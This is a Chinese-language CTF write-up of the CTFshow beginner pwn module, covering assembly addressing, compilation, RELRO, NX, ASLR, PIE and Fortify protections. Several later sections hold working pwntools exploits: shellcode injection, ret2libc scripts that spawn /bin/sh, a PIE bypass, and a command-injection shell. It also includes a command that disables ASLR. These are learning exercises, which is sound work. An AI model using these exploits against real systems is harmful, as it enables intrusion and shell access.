本文主要详解CTFshow中pwn入门系列的前置基础模块,共30道题
所用工具:linux环境下的虚拟机、IDA Pro、exeinfope
参考博客:
T1ngSh0w的博客
ctfshow pwn入门 | 雲流のLowest World
以下操作中小编用的都是自己的kali环境
题目给了两个文件,先用exeinfope查看elf文件
用IDA打开elf,里面只有一个start函数,IDA反汇编的结果是将dword_80490E8指向的内容写入后退出
进入dword_80490E8查看写入的东西
对16进制"R"一下转化为字符,得到下面的字符串,因为是小端序,所以字符串的正确形式应该是"Welc",和下面的字符串连起来就是"Welcome_to_CTFshow_PWN"
其实对16进制"A"一下就能直接变成下面这样
IDA中也可以看到程序的所有汇编形式
asm文件是汇编文件,可以直接用记事本查看内容,内容为汇编语言中的一些基础操作方法,出题人也是十分贴心,给出了所有注释。输出的内容就是"Welcome_to_CTFshow_PWN"
section .data msg db "Welcome_to_CTFshow_PWN", 0 section .text global _start _start: ; 立即寻址方式 mov eax, 11 ; 将11赋值给eax add eax, 114504 ; eax加上114504 sub eax, 1 ; eax减去1 ; 寄存器寻址方式 mov ebx, 0x36d ; 将0x36d赋值给ebx mov edx, ebx ; 将ebx的值赋值给edx ; 直接寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx ; 寄存器间接寻址方式 mov esi, msg ; 将msg的地址赋值给esi mov eax, [esi] ; 将esi所指向的地址的值赋值给eax ; 寄存器相对寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx add ecx, 4 ; 将ecx加上4 mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax ; 基址变址寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx mov edx, 2 ; 将2赋值给edx mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax ; 相对基址变址寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx mov edx, 1 ; 将1赋值给edx add ecx, 8 ; 将ecx加上8 mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax ; 输出字符串 mov eax, 4 ; 系统调用号4代表输出字符串 mov ebx, 1 ; 文件描述符1代表标准输出 mov ecx, msg ; 要输出的字符串的地址 mov edx, 22 ; 要输出的字符串的长度 int 0x80 ; 调用系统调用 ; 退出程序 mov eax, 1 ; 系统调用号1代表退出程序 xor ebx, ebx ; 返回值为0 int 0x80 ; 调用系统调用
根据题目提示,运行此文件即可得到flag,包上ctfshow{}就ok了
求立即寻址方式结束后eax寄存器的值,查看汇编,根据注释可以知道eax = 11 + 114504 - 1 = 114514
flag为ctfshow{114514}
求寄存器寻址方式结束后edx寄存器的值,根据注释可以知道edx的值就是ebx的值,即0x36d,0x是16进制的前缀
flag为ctfshow{0x36D}
求直接寻址方式结束后ecx寄存器的值,根据注释可以知道ecx的值为msg的地址,需要借助IDA查看
msg的地址即dword_80490E8的地址
熟悉IDA的师傅们应该知道它的名字就是它的起始地址
flag为ctfshow{0x80490E8}
求寄存器间接寻址方式结束后eax寄存器的值,根据注释可以知道,esi的值为msg的地址,即上一问的答案,eax的值为[esi],在汇编中表示esi指向的地址的值,即msg地址的值
在IDA中可以看到值为636C6557h,h表示16进制
flag为ctfshow{0x636C6557}
求寄存器相对寻址方式结束后eax寄存器的值
①将msg的地址赋值给exc,即exc = 0x80490E8
②ecx加4,即ecx = 0x80490EC
③将ecx(0x80490EC)中的值赋值给eax
即ome_to_CTFshow_PWN
flag为ctfshow{ome_to_CTFshow_PWN}
求基址变址寻址方式结束后的eax寄存器的值,eax的值为ecx+edx*2所指向的地址的值,即[msg+4],表示在msg地址的基础上偏移4个单位,和上一问结果相同,只是这里介绍了汇编中的基址变址
ctfshow{ome_to_CTFshow_PWN}
求相对基址变址寻址方式结束后eax寄存器的值,通过简单的赋值和运算,可以得到eax = [msg + 8 + 1*2 -6] = [msg+4],和上一问相同
flag为ctfshow{ome_to_CTFshow_PWN}
附件是一个c语言代码,用c语言编译器编译运行即可得到答案
也可以按照题目提示的信息,用gcc命令生成可执行文件,再运行即可得到flag
gcc-o <生成的可执行文件名>
ctfshow{hOw_t0_us3_GCC?}
附件还是c语言代码,用编译器打开查看
int main() { FILE *fp; unsigned char buffer[BUFFER_SIZE]; size_t n; fp = fopen("key", "rb"); if (fp == NULL) { perror("Nothing here!"); return -1; } char output[BUFFER_SIZE * 9 + 12]; int offset = 0; offset += sprintf(output + offset, "ctfshow{"); while ((n = fread(buffer, sizeof(unsigned char), BUFFER_SIZE, fp)) > 0) { for (size_t i = 0; i < n; i++) { for (int j = 7; j >= 0; j--) { offset += sprintf(output + offset, "%d", (buffer[i] >> j) & 1); } if (i != n - 1) { offset += sprintf(output + offset, "_"); } } if (!feof(fp)) { offset += sprintf(output + offset, " "); } } offset += sprintf(output + offset, "}"); printf("%s\n", output); fclose(fp); return 0; }
开始有一个文件是否存在的检查,如果当前目录下不存在名为"key"的文件就会报错
接下去就是通过循环将fp的值(也就是key的内容)逐个转为8位二进制数,通过"_"连接,用ctfshow{}包裹后存入output中
知道原理后在同一目录下创建一个key,内容为给定的"CTFshow"
用gcc命令生成可执行文件后运行,得到flag
ctfshow{01000011_01010100_01000110_01110011_01101000_01101111_01110111_00001010}
附件是一个asm汇编文件,根据题目提示,将其编译为可执行文件后运行,使用如下命令:
nasm -f elf64 flag.asm -o flag.o #生成目标文件flag.o ld -s -o flag flag.o #生成可执行文件flag,-s表示在可执行文件中去掉符号表和调试信息,使得可执行文件更小 ./flag #运行可执行文件flag
ctfshow{@ss3mb1y_1s_3@sy}
ps:如果生成目标文件时用的命令是nasm -f elf flag.asm -o flag.o,那么默认生成的是32位的flag.o,ld链接时需要加上-m elf_i386,指定链接器使用32位的ELF格式,即
nasm -f elf flag.asm -o flag.o ld -m elf_i386 -s -o flag flag.o ./flag
附件是.s文件,是汇编语言的源程序文件,根据提示用gcc命令编译为可执行文件,并运行
gcc flag.s -o flag ./flag
ctfshow{daniuniuda}
附件是64位elf,用IDA打开查看主函数,发现又是选择题。选择3可以调用cat命令,但是可以看到前面有sleep(0x1BF52u),需要等待这么长的时间才会执行下面的cat指令,因此需要采用其他方法
再看case 2,我们输入2后会先输入一行文字,然后我们会继续输入长度为0xA的字符存入buf,buf再赋值给dest,然后system调用dest的内容。那么我们可以将命令作为输入,再让系统执行的时候去调用就行了。因为ctfshow_flag是在/bin/sh目录下的,所以我们输入/bin/sh就能让系统执行system("/bin/sh"),获得交互式shell
输入2后再输入/bin/sh
之后就能找到ctfshow_flag并cat了
附件是64位elf文件,用IDA打开查看主函数,输入9则进入fake()函数,输入其他则进入real()函数
fake函数中echo >> 的意思是在/ctfshow_flag文件后追加内容,所以/ctfshow_flag文件的结尾现在多了'flag is here'这个字符串
real函数中echo > 的意思是前面的内容覆盖到后面的文件,所以/ctfshow_flag文件的内容变成了'flag is here'
根据逻辑,只要输入9,就会进入fake()函数,只要把末尾追加的字符串去掉就是flag了;而如果输入其他的字符,flag就会被覆盖,就算再输入9,也只会输出'flag is here'
附件还是64位的elf,IDA打开查看主函数,可以看到fork()函数创建了一个子进程。如果当前代码处于父进程(fork() 返回1)则进入if语句块。如果是子进程(fork() 返回0),则进入else语句块。在子进程中给予了用户一个shell权限,允许用户在子进程中输入数据并通过system运行。
值得注意的是在read函数前有一句fclose(_bss_start);应该就是题目所说的关闭了输出流,所以正常地输入命令是没有办法回显的。
参考其他师傅的wp,只要在命令后面加上>&0来重定向就能实现回显了。这里给上一段介绍:
在Linux中,>&0 是一种输入重定向的语法。重定向是一种将命令的输入或输出从默认的位置改为指定位置的方法。在这个语法中,> 符号用于输出重定向,& 符号用于指定文件描述符(File Descriptor)。文件描述符是一个非负整数,用于在Linux中标识打开的文件或数据流。特别地,文件描述符 0 表示标准输入(stdin),它通常与终端或键盘相关联。
所以,>&0 的含义是将命令的输出重定向到标准输入,也就是将命令的输出内容发送到与终端或键盘关联的地方。一般情况下,输出重定向常用的有 >(覆盖)和 >>(追加)来将输出保存到文件中。
如此一来,只要在正确目录下输入cat ctfshow_flag >&0即可得到flag。可以现用pwd和ls等命令确定目录
在子进程结束输入并回显后,会进入父进程执行wait、sleep、printf等操作,所以最后还是会输出'flag is not here'字符串,并结束程序。因此,想要再次输入需要重新nc连接。现在所有原理都清晰了,nc连接后直接输入命令cat ctfshow_flag >&0,即可得到flag
做题之前首先要了解PLT表和GOT表,推荐下面的文章:
聊聊Linux动态链接中的PLT和GOT(1)——何谓PLT与GOT
聊聊Linux动态链接中的PLT和GOT(2)——延迟重定位
聊聊Linux动态链接中的PLT和GOT(3)——公共GOT表项
简单地,引用上面文章中的图(不完全准确),可以大致了解PLT表和GOT表的作用
再看题目,.got和.got.plt是否可写与RELRO有关,这是linux系统下可执行文件的一种保护机制,它用于增强程序的安全性,特别是针对共享库的攻击。RELRO机制通过将部分ELF段标记为只读,防止攻击者利用全局偏移表(GOT)和过程链接表(PLT)进行攻击。规定如下:
当RELRO为Partial RELRO时,表示.got不可写而.got.plt可写。
当RELRO为FullRELRO时,表示.got不可写.got.plt也不可写。
当RELRO为No RELRO时,表示.got与.got.plt都可写。
可以通过checksec命令来获取可执行文件的部分保护机制信息。
可以通过readelf -S命令查看文件的各个段的详细信息,其中就包括了.got和.got.plt表的地址
有了以上知识储备,就可以做题了,依次输入命令
checksec --file=pwn #较低版本的checksec只需要输入checksec pwn即可 readelf -S pwn
NO RELRO表示都可写,即flag头为ctfshow{1_1_}
两个地址分别为0x600f18和0x600f28
flag为ctfshow{1_1_0x600f18_0x600f28}
和pwn20一样的操作,输入两个命令查看即可
Partial RELRO表示.got不可写而.got.plt可写,flag头为ctfshow{0_1_}
两个地址分别为0x600ff0和0x601000
flag为ctfshow{0_1_0x600ff0_0x601000}
同上题操作,输入两个命令查看即可
Partial RELRO表示.got和.got.plt都不可写,flag头为ctfshow{0_0_}
这里只有.got的地址0x600fc0
flag为ctfshow{0_0_0x600fc0}
ssh连接后可以直接拿到shell,尝试直接cat,但是被限制了
再去看给的附件,32位elf文件,main函数中没有什么明显的提示
进入ctfshow函数中,可以看到只有一个strcpy函数,而这个函数可以溢出,正好输入src没有长度限制,那么只要输入的长度超出0x3Eh+0x4,就会发生溢出
因为argc是main函数的参数,所以需要通过./file 的方式传参
ps:至于为什么造成溢出就会输出flag并不知道原因,如果后续找到答案了会在本文末更新
先来看看附件,32位elf文件,main函数中只有一个ctfshow函数
跟进函数,发现无法反汇编,只能看汇编了
显示通过read函数读取我们的输入,存入[ebp+buf]的地址中,再通过call函数执行我们的输入
用checksec命令查看文件,发现NX是disabled,意味着我们可以在堆栈中执行shellcode
题目又提示可以用pwntools的shellcraft模块来进行攻击,那么自己写一个exp来获得交互权
from pwn import * #与服务器的pwn文件建立连接 p = remote("pwn.challenge.ctf.show", "28165") #利用shellcraft模块生成调用系统shell(/bin/sh)的shellcode。这个shellcode可以用于执行命令行命令 shell = asm(shellcraft.sh()) #向远程发送shellcode p.sendline(shell) # 建立交互式对话 p.interactive()
可以看到运行exp之后就获得了shell,就可以输入命令了
获得flag
题目描述是开启了NX保护,一查也是,那么上一问的方法就失效了
IDA中可以在主函数找到ctfshow函数,存放数据的buf的大小132,而输入的最大长度是0x100,因此可以利用溢出。从后面的注释可以知道buf的偏移量为88h,因为在函数执行完成后,程序会通过返回地址回到原来调用该函数的位置,继续执行原来的函数,所以为了实现溢出还要覆盖返回地址,偏移量还要加4
提示可以用ret2libc,这里简单介绍一下,"ret2libc"是一种计算机安全领域中的攻击技术,用于绕过栈溢出漏洞等缓冲区溢出漏洞的防御措施(比如NX防御机制),以实现代码执行或提升攻击者权限。
先用命令查看plt表中的函数,看看有哪些函数可以利用
objdump -d -j .plt pwn
可以看到有puts函数,那么可以用puts函数输出函数的内存地址
从其他博主那里py来exp如下
from pwn import * from LibcSearcher import * # 打印调试信息 context.log_level = 'debug' # 建立连接 p = remote("pwn.challenge.ctf.show", "28111") elf = ELF("./pwn") # 溢出偏移地址 offset = 0x88 + 0x4 # main函数地址 main_addr = elf.symbols['main'] # plt表中puts函数地址 puts_plt = elf.plt['puts'] # got表中puts函数的地址 puts_got = elf.got['puts'] # payload:0x88+0x4个无用填充字符覆盖到返回地址, # 将puts函数plt表地址做返回地址,代表ctfshow函数执行完会执行puts函数, # main_addr是puts函数执行完后的返回地址,使用puts函数执行完后回到main函数继续利用溢出漏洞 # puts函数got表中的地址作为puts函数执行的参数,让puts函数输出puts函数在内存的地址 payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got) # 发送payload p.sendline(payload) # 接收puts函数输出的puts函数在内存的地址 puts_addr = u32(p.recv()[0:4]) print(hex(puts_addr)) # 根据内存中puts函数的地址寻找相应的libc版本中puts函数的地址 libc = LibcSearcher("puts", puts_addr) # 找到libc中的puts函数地址之后,将内存的puts函数地址减去libc中的puts函数地址就得到了libc的基地址 libc_base = puts_addr - libc.dump("puts") print(hex(libc_base)) # 使用libc.dump("system")找到libc中的system函数地址,再加上基地址就得到system函数在内存的地址 system_addr = libc_base + libc.dump("system") # 使用libc.dump("str_bin_sh")找到libc中的"/bin/sh"字符串地址,再加上基地址就得到"/bin/sh"字符串在内存的地址 binsh_addr = libc_base + libc.dump("str_bin_sh") # payload:填充栈空间到返回地址,将返回地址覆盖为system函数的地址 # 然后填充执行system函数之后的返回地址,填充什么都可以,但是长度必须为4 # 最后填入system的参数“/bin/sh” payload = offset * b'a' + p32(system_addr) + b'a' * 4 + p32(binsh_addr) p.sendline(payload) p.interactive()
运行exp,输出调试信息以及对应的puts地址,中间如果需要选择libc的版本,只有0号版本是可以正常运行的
ps:运行脚本后一段时间会显示Got EOF while reading in interactive错误,这时远程进程关闭了连接,输入命令是无效的,不知道是什么原因
在关闭连接之前,输入命令可以找到flag(不是ctfshow_flag了)
获得flag
题目提示ASLR保护,先简单了解一下ASLR。
ASLR(Address Space Layout Randomization)是一种计算机安全机制,旨在增加恶意攻击者在系统上成功执行攻击的难度。ASLR通过随机化进程的地址空间布局来防止攻击者依赖于已知的内存地址,从而增加了攻击的复杂性。ASLR可以随机化以下组件的位置:
在 Linux 系统中,/proc/sys/kernel/randomize_va_space 是一个控制和查看ASLR的接口文件。
/proc/sys/kernel/randomize_va_space 可以具有以下值:
0:表示 ASLR 被禁用。在这种情况下,进程的地址空间将不会随机化,各个组件的地址位置将是固定的。
1:表示 ASLR 已启用,但只会对共享库的地址进行随机化。即在每次运行时,共享库的加载地址会发生变化,而进程的栈、堆和代码段的地址位置仍然是固定的。
2:表示 ASLR 已启用,对进程的地址空间中的所有组件(包括栈、堆、共享库和代码段)进行完全随机化。这是最安全的设置,因为每次运行时,进程的所有组件的地址位置都会发生变化。
来看题目,附件是64位的elf,直接运行得到的是错误的flag
用IDA打开查看,根据明文和测试结果可以知道ASLR的level就存放在这个路径下,且当前值为2,需要改为0才会输出正确的flag
那么使用下面的命令修改(需要先进入root模式才有权限修改)
echo 0 > /proc/sys/kernel/randomize_va_space
ps:由于这里的操作不是在题目所给的虚拟机环境中,所以得到的flag也是错误的,下面的题目不再赘述理由了
正确的flag为ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0}
直接运行附件测试,0或1即可得到flag,由于上题中已经改为0,所以输出的就是flag
正确的flag为ctfshow{0x400687_0x400560_0x603260}
运行后什么提示都没有,直接给了flag
再去IDA中确认一下,确实没有什么限制,那就是真的flag了
正确的flag为ctfshow{0x400687_0x400560}
题目中提示PIE,还是先简单了解PIE。
PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。在PIE和ASLR同时开启的情况下,攻击者将对程序的内存布局一无所知,大大增加了利用难度。然而在增加安全性的同时,PIE也会一定程度上影响性能,因此在大多数操作系统上PIE仅用于一些对安全性要求比较高的程序。
来看题目,附件是64位elf,丢到IDA里,可以看到强制开启了ASLR的保护模式,之后用checksec命令输出附件的保护信息,最后直接给了flag的明文,是真的!
运行看一看(由于我的checksec版本不一样,需要输入checksec --file=pwn才能显示,所以运行的时候会报错)
这里补上checksec的内容,可以看到PIE打开了
原本的main函数地址是0x00083A
而执行后main函数地址如下,这是PIE保护发挥了作用,地址发生了随机变化
flag为ctfshow{Address_Space_Layout_Randomization&&Position-Independent_Executable_1s_C0000000000l!}
就如题目所说,PIE保护关闭了,NX是开启的
查看main函数,可以看到ctfshow函数
依旧是一个溢出漏洞,内存占用情况和pwn25也是一样的
那么可以利用和pwn25一样的exp,利用ret2libc泄露puts函数的地址,进而发送payload
from pwn import * from LibcSearcher import * context.log_level = 'debug' p = remote("pwn.challenge.ctf.show", "28165") elf = ELF("./pwn") offset = 0x88 + 0x4 main_addr = elf.symbols['main'] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got) p.sendline(payload) puts_addr = u32(p.recv()[0:4]) print(hex(puts_addr)) libc = LibcSearcher("puts", puts_addr) libc_base = puts_addr - libc.dump("puts") print(hex(libc_base)) system_addr = libc_base + libc.dump("system") binsh_addr = libc_base + libc.dump("str_bin_sh") payload = offset * b'a' + p32(system_addr) + b'a' * 4 + p32(binsh_addr) p.sendline(payload) p.interactive()
ps:Got EOF while reading in interactive的问题还是存在
这大抵是这个模块最难的题了
一样的溢出情况
NX和PIE开启,只是这次不像pwn29那样给了flag明文,那么只能找方法绕过PIE
虽然程序每次运行的基址会变,但程序中的各段的相对偏移是不会变的,只要泄露出来一个地址,通过IDA静态的看他的程序地址,就能算出基址,从而实现绕过。
这里程序中有输出main函数地址的语句,那么就得到了运行时main函数的地址,减去main函数的静态地址,就是函数地址的偏移量了
用程序表示就是
from pwn import * context.log_level = "debug" p = remote("pwn.challenge.ctf.show", "端口号") elf = ELF("./pwn") main_real_addr = int(p.recv().strip(),16) base_addr = main_real_addr - elf.sym['main']
知道了函数地址偏移量,还需要知道溢出的偏移量,输入下面的命令
gdb pwn #用gdb打开文件 cyclic 200 #输出200个无用字符
可以看到输出了200个无用字符,都复制下来
再输入r运行程序,可以看到main函数的地址被输出了。接着将刚才复制的200个字符粘贴作为输入,可以看到又输出了一个地址并报错了,这是因为栈溢出,程序给出了一个无效地址,而这个地址就是被覆盖后的ctfshow函数的返回地址
再输入cyclic -l 0x6261616b就能得到栈溢出的偏移量,是140
由此得到了两个数据,一个是函数地址的偏移量,一个是栈溢出的偏移量,根据这两个数据改写之前的ret2libc脚本,下面是其他博客里py来的exp
from pwn import * from LibcSearcher import * context.log_level = "debug" p = remote("pwn.challenge.ctf.show", 28173) elf = ELF("./pwn") main_real_addr = int(p.recv().strip(), 16) print(hex(main_real_addr)) base_addr = main_real_addr - elf.sym['main'] # 获得了内存中真实的main地址,再减去程序中的main函数的地址就能得到程序中函数在内存中的偏移 puts_plt = base_addr + elf.sym['puts'] puts_got = base_addr + elf.got['puts'] ctfshow_addr = base_addr + elf.sym['ctfshow'] ebx = base_addr + 0x1fc0 payload = 132 * b'a' + p32(ebx) + 4 * b'a' + p32(puts_plt) + p32(main_real_addr) + p32(puts_got) p.send(payload) puts_addr = u32(p.recv()[0:4]) print(hex(puts_addr)) # 通过got表中puts函数的地址打印出puts函数真实的地址 libc = LibcSearcher("puts", puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump("system") binsh_addr = libc_base + libc.dump("str_bin_sh") # 找到libc,通过libc找到system、/bin/sh payload = 140 * b'a' + p32(system_addr) + p32(ctfshow_addr) + p32(binsh_addr) p.send(payload) p.interactive()
对于上面的exp,以下为详解:
1.与服务器建立连接后先利用main函数获得函数地址的偏移量base_addr,也就是所谓的基址
2.利用基址得到puts函数在plt和got表中的真实地址
3.发送payload,利用got表得到puts函数真实的地址
4.利用puts函数的真实地址得到libc库的基址,进而得到libc库中system函数和/bin/sh的地址
5.再次发送payload获得shell
其中第一个payload出现了ebx,这是因为ctfshow函数的最后有一条mov指令,其中的ebx寄存器不能被覆盖,所以需要将其真实的地址放到payload中。ebx是由__x86.get_pc_thunk.bx得到的,它将下一条指令的地址赋给ebx寄存器,然后通过加上一个偏移,得到当前进程GOT表的地址,并以此作为后续操作的基地址。
用readelf -S pwn命令可以知道got表的初始地址为0x001fc0,因此ebx的真实地址为base_addr + 0x1fc0
运行脚本得到flag
先简单了解一下 Fortify功能。
在使用FORTIFY_SOURCE功能的编译器环境中,当检测到潜在的缓冲区溢出或其他内存错误时,编译器会自动替换对应的不安全C库函数(例如strcpy,memcpy等)调用为更安全的版本。这些安全版本的函数在执行前会进行一些边界检查,以确保不会发生缓冲区溢出。
此外,FORTIFY_SOURCE还会对格式化字符串函数(如printf、scanf等)的参数进行检查,以确保其格式化字符串参数与实际参数的类型匹配,从而避免格式化字符串漏洞。
本质上一种检查和替换机制,对GCC和glibc的一个安全补丁,目前支持memcpy, memmove, memset, strcpy, strncpy, strcat, strncat,sprintf, vsprintf, snprintf, vsnprintf, gets等。
·FORTIFY_SOURCE=0: 这是Fortify Source功能的默认级别,也就是禁用状态。
·FORTIFY_SOURCE=1: 这是第一个启用级别。如果编译器在编译时检测到潜在的缓冲区溢出或其他内存错误,它将生成一个运行时检查的警告,但程序仍然会继续执行。例如,会将strcpy替换为__strcpy_chk,memcpy替换为__memcpy_chk等。
·FORTIFY_SOURCE=2: 这是最高级别的启用。如果编译器在编译时检测到潜在的缓冲区溢出或内存错误,它将生成一个运行时检查的错误,并且程序的执行将被终止。
来看题目,题目提示Fortify功能处于禁用状态,所以不需要考虑。附件是64位elf文件,用IDA打开查看,发现自定义函数Undefined
跟进函数,这个函数可以输出flag,因此需要满足argc > 4的条件
main函数的三个参数中,argc表示命令行参数的数量,第一个就是执行程序名,所以argc最少为1;argv是具体的参数;envp是系统的环境变量。
因此argc>4表示main函数的参数要大于4,因为初始值为1,所以只要输入的数据大于等于4即可
现在FORTIFY_SOURCE=1,即Fortify 功能已启用。附件是64位elf,用IDA打开,可以看到上题中的strcpy被替换为__strcpy_chk,memcpy被替换为__memcpy_chk,也加上了11LL的限制防止溢出,这是第一级Fortify的特征
Undefined函数没有变,还是通过参数的数量调用,进而输出flag
此时FORTIFY_SOURCE=2,启用了第二级Fortify,用IDA打开附件查看,此时printf函数也被替换成了__printf_chk,Undefined函数前的if条件也没了
用同样的方式可以得到flag
但不知道为什么,现在没有输入数量要求了,只输入两个字符不会调用Undefined函数
总结:这一模块旨在带着小白了解汇编语言,linux的一些基本命令和工具,RELRO、NX、PIE、ASLR、Fortify等可执行文件和代码的保护机制,还有锻炼阅读、编写exp的能力。这一整个模块顺下来,环境配置+脑力风暴还是比较艰辛的,虽然大部分题目只是浅浅地接触一下某个知识点,但随着日后的深入学习,相信像我一样的小白们会收获颇丰。
ps:本文中存在的一些疑问会在小编得到答案后及时更新!